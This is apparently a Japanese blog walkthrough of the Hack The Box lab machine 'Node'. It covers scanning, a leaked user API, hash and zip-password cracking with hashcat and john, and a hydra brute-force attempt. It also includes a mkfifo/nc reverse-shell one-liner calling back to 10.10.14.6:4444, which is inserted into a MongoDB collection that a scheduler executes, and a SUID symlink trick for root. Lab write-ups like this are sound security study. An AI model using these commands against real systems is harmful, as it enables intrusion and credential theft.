家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】node

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.58
Nmap scan report for 10.10.10.58
Host is up (0.18s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc5e34a625db43eceb40f4967b8ed1da (RSA)
|   256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA)
|_  256 d878b85d85ffad7be6e2b5da1e526236 (ED25519)
3000/tcp open  hadoop-datanode Apache Hadoop
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: MyPlace
| hadoop-tasktracker-info: 
|_  Logs: /login
| hadoop-datanode-info: 
|_  Logs: /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at 

TCP/22,3000が開いていることがわかりました。

TCP/3000で待ち受けているApache Hadoopとは、大規模データの蓄積・分析を分散処理技術によって実現するオープンソースのミドルウェアで、Apacheプロジェクトの元で、Hortonworks社、米国Yahoo!社、Cloudera社といった初期から参加していた企業に加えて、 Intel社、Microsoft社などより多くの企業のメンバーによって開発が続けられているもの、とのことです。

ブラウザでアクセスすると以下のような画面が表示されます。

 

ブラウザでアクセスした様子



 

dirbやgobusterを実行しようとすると以下のようなエラーが返され実行できません。

Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/83af7740-5d76-4ce0-8e79-128200f6689d => 200 (Length: 3861). To continue please exclude the status code or the length

 

※どんなリクエストに対しても200を返すので、200を除外することで一応実行することができます。

┌──(kali㉿kali)-[~]

└─$ gobuster dir -u http://10.10.10.58:3000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20 -s"204,301,302,307,401,403" -b ""

===============================================================

Gobuster v3.4

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url: http://10.10.10.58:3000

[+] Method: GET

[+] Threads: 20

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

[+] Status codes: 204,301,302,307,401,403

[+] User Agent: gobuster/3.4

[+] Timeout: 10s

===============================================================

/uploads (Status: 301) [Size: 173] [--> /uploads/]

/assets (Status: 301) [Size: 171] [--> /assets/]

/vendor (Status: 301) [Size: 171] [--> /vendor/]

Progress: 207643 / 207644 (100.00%)

 

別の方法としてBurp Suiteのspiderでサイトの構成を確認できます。

BurpSuiteを使用する

上記結果の中にあるファイルにアクセスすると/api/userのパスが確認できました。

取得できたファイルへアクセス

/api/usersにアクセスするとユーザー名とパスワードのハッシュが得られます。

パスワードのハッシュ値を確認

 

ハッシュの種類を確認し、hashcatで解析します。

┌──(kali㉿kali)-[~/node]
└─$ hashid dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
Analyzing 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 
                                                                                                                         
┌──(kali㉿kali)-[~/node]
└─$ hashcat -h |grep 256                                                   
 -u, --kernel-loops             | Num  | Manual workload tuning, set innerloop step size to X | -u 256
   1400 | SHA2-256                                                   | Raw Hash

┌──(kali㉿kali)-[~/node]
└─$ hashcat -m 1400 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af -a 0 /home/kali/rockyou.txt       130 ⨯

hashcat (v6.2.6) starting
※-a 0 アタックモード 0は辞書モード

上記を実行することでパスワードを取得できます。

dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af

manchester

 

取得できた認証情報「myP14ceAdm1nAcc0uNT/manchester」でログインします。

 

ログイン後の画面



 

ログインするとバックアップファイルがダウンロードできます。

※ダウンロードかなり不安定で、中断することが多々ありました。

 

ダウンロードしたバックアップファイルはbase64でエンコードされています。

また、デコードしたファイルはzipファイルであることがわかります。

base64 -d myplace.backup > backup_decoded

file backup_decoded

unzip backup_decoded

 

Zipファイルにはパスワードがかかっています。

以下のコマンドでZipのパスワードを解析します。

zip2john backup_decoded > zip.hashjohn -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt zip.hash

 

解析すると以下のパスワードが取得できます。

magicword

 

Zipファイルの中身を見ると「app.js」の中にMongoDBへアクセスする認証情報が見つかります。

const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';

 

※余談:Base64について

Base64はメール以外でも、Webサイトにファイルをアップロードするときに使用することもあります。
Base64では最後に「=」が付いているので、ここからBase64でエンコードされていることが推測できます。

 

※余談:認証ページ対するhydra

hydraを使ってみると13回目の施行でログイン成功と表示されますが、実際にはログインできませんでした。

┌──(kali㉿kali)-[~]
└─$ hydra -V -f -l mark -P ./rockyou.txt node.htb -s 3000 http-post-form '/login:"username"\:^USER^,"password"\:^PASS^:Login Failed! Incorrect credentials were specified'

 

アクセス取得

上記で得られた情報をもとにsshでアクセスしてみます。

MongoDBの認証情報ですがSSHと同じでした。

 

SSHでアクセス

 

pspyを実行すると定期的に実行されている「CMD: UID=1000 PID=1208 | /usr/bin/node /var/scheduler/app.js」が確認できました。

 

pspy実行結果

 

「app.js」の中を見ると、MongoDBドキュメントのプロパティに基づいてコマンドが実行されていることがわかります。

app.jsの中身

MongoDBでは、ドキュメントを「コレクション」として保存します。
app.js は「scheduler」という名前のMondodbデータベースに接続し、「tasks」という名前のコレクションを検索し、その内容をシェルコマンドとして実行しています。

そのため、MongoDBに接続し、リバースシェルのコマンドを登録します。

 

$ mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k

MongoDB shell version: 3.2.16

connecting to: localhost:27017/scheduler

> db.tasks.insertOne({"cmd":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f"})

{

        "acknowledged" : true,

        "insertedId" : ObjectId("6001919a9b6e0212d49e4b24")

}

 

待ち受け側のターミナルで「tom」のアクセスが取得できました。

tomのアクセス取得

※余談:SUIDとSGIDについて

SUID(set user-ID)とSGID(set group-ID)はLinuxのパーミッションで、ビットが設定されているとプログラムの実行ユーザの権限ではなく、プログラムの所有ユーザ、グループの権限で実行されます。

SUID, SGIDビットのプログラムはユーザに対して高権限を与えるため、攻撃者に悪用されることもあります。

なお、2000はSGID、4000はSUIDです。

rootフラグの取得

※公式のWirteUpではBOFによる権限昇格が説明されていましたが、自分ではその方法で権限昇格ができませんでした。そのため、別の方法をとりました。

 

lse.shを使用すると、不審なSUIDのバイナリが見つかります。

/usr/local/bin/backup.

github.com

 

前に取得したバックアップファイルの中身を見ると「backup_key」が確認できます。

45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474

 

tomのアカウントで/tmpに移動し、新しいディレクトリ「test」を作成します。

作成したディレクトリを/root/root.txtにシンボリックリンクします。

次に、/backupを使用して、/tmp/test/ ディレクトリのバックアップを作成します

 

rootディレクトリのバックアップ作成

Webアクセスし、バックアップファイルをダウンロードします。
以前と同様の方法でデコードし、先ほど見つけたパスワード「magicword」を使用してファイルを解凍します。
解凍後、ファイルを開くとroot.txtが見つかります。

rootフラグの取得


難しかった。。。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

www.jtsec.es

www.hackingarticles.in